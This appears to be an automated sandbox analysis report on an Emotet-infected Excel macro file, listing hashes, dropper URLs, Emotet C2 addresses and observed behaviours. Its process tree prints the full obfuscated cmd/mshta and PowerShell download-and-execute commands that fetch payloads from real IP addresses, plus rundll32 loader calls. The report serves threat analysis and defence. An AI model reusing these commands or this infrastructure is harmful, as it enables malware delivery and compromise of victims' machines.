Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20-01-2022 10:36

General

  • Target

    96875558_5356176.xlsm

  • Size

    115KB

  • MD5

    ae463a7f0de640061802d78223d7424d

  • SHA1

    d4809b8d5b09ede52d07f27485ed5d54bb7e4eca

  • SHA256

    b9510c284bf2350a71ff66a248c97768d98b4e04146ade4a28fd9f1fab9137c3

  • SHA512

    ea7ab3c0d5641711e0600dac4c1bf6bcd9035715b529360d7027a1e64ae963b958b8b70d890dc027487cf138b3eb92862cb69a9875f34216e64a8a1facee2758

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\96875558_5356176.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1668
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1632
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:452
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:752
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1748
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1760
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1944
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1580
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ovyhqjvrl\jxgpylzibdlelt.qxb",FmoYwyDj
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1640
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ovyhqjvrl\jxgpylzibdlelt.qxb",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1972

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1580-77-0x00000000001A0000-0x00000000001C8000-memory.dmp

      Filesize

      160KB

    • memory/1580-90-0x0000000002900000-0x0000000002928000-memory.dmp

      Filesize

      160KB

    • memory/1580-87-0x00000000026D0000-0x00000000026F8000-memory.dmp

      Filesize

      160KB

    • memory/1580-85-0x00000000025E0000-0x0000000002608000-memory.dmp

      Filesize

      160KB

    • memory/1580-83-0x0000000002480000-0x00000000024A8000-memory.dmp

      Filesize

      160KB

    • memory/1580-79-0x0000000000A40000-0x0000000000A68000-memory.dmp

      Filesize

      160KB

    • memory/1632-59-0x000007FEFC401000-0x000007FEFC403000-memory.dmp

      Filesize

      8KB

    • memory/1640-92-0x00000000001F0000-0x0000000000218000-memory.dmp

      Filesize

      160KB

    • memory/1668-56-0x0000000071B01000-0x0000000071B03000-memory.dmp

      Filesize

      8KB

    • memory/1668-55-0x000000002F481000-0x000000002F484000-memory.dmp

      Filesize

      12KB

    • memory/1668-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1668-58-0x0000000076641000-0x0000000076643000-memory.dmp

      Filesize

      8KB

    • memory/1748-63-0x0000000002440000-0x000000000308A000-memory.dmp

      Filesize

      12.3MB

    • memory/1748-62-0x0000000002440000-0x000000000308A000-memory.dmp

      Filesize

      12.3MB

    • memory/1944-70-0x0000000000230000-0x0000000000258000-memory.dmp

      Filesize

      160KB

    • memory/1972-97-0x00000000007A0000-0x00000000007C8000-memory.dmp

      Filesize

      160KB

    • memory/1972-99-0x0000000000800000-0x0000000000828000-memory.dmp

      Filesize

      160KB

    • memory/1972-101-0x0000000000880000-0x00000000008A8000-memory.dmp

      Filesize

      160KB

    • memory/1972-105-0x0000000002690000-0x00000000026B8000-memory.dmp

      Filesize

      160KB

    • memory/1972-107-0x00000000028D0000-0x00000000028F8000-memory.dmp

      Filesize

      160KB

    • memory/1972-109-0x00000000029D0000-0x00000000029F8000-memory.dmp

      Filesize

      160KB

    • memory/1972-111-0x0000000002A30000-0x0000000002A58000-memory.dmp

      Filesize

      160KB

    • memory/1972-113-0x0000000002AE0000-0x0000000002B08000-memory.dmp

      Filesize

      160KB